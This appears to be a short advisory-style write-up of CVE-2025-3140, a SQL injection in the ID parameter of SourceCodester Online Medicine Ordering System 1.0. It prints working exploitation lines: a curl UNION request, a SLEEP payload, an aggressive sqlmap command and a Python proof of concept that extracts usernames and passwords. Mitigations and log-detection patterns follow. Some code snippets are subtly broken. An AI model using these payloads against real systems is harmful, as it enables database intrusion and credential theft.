The CVE-2025-3140 vulnerability allows remote attackers to execute arbitrary SQL commands via the `ID` parameter in /view_category.php
. This occurs due to improper sanitization of user-supplied input before concatenation into SQL queries. Attackers can manipulate the `ID` parameter to inject malicious SQL payloads, potentially leading to unauthorized database access, data leakage, or system compromise. The vulnerability is exploitable without authentication, making it critical.
DailyCVE Form:
Platform: SourceCodester Online Medicine Ordering System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 04/09/2025
What Undercode Say:
Exploitation:
curl -X GET "http://target.com/view_category.php?ID=1' UNION SELECT 1,2,3,4,5-- -"
SQL Payload Example:
1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))-- -
Detection Command:
sqlmap -u "http://target.com/view_category.php?ID=1" --risk=3 --level=5
Mitigation Steps:
1. Patch `/view_category.php` to use prepared statements:
$stmt = $conn->prepare("SELECT FROM categories WHERE id = ?"); $stmt->bind_param("i", $_GET['ID']);
2. Apply input validation:
if (!is_numeric($_GET['ID'])) { die("Invalid ID"); }
3. Web Application Firewall (WAF) Rule:
location ~ view_category.php { if ($args ~ "ID=.[';]") { return 403; } }
Log Analysis:
grep "view_category.php" /var/log/apache2/access.log | grep -E "UNION|SLEEP|SELECT"
Exploit PoC (Python):
import requests payload = "1' UNION SELECT username,password,3 FROM users-- -" response = requests.get(f"http://target.com/view_category.php?ID={payload}") print(response.text)
Remediation Checklist:
- Update to latest vendor patch
- Disable error reporting in production
- Restrict database user permissions
- Implement rate-limiting on vulnerable endpoints
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-3140
Extra Source Hub:
Undercode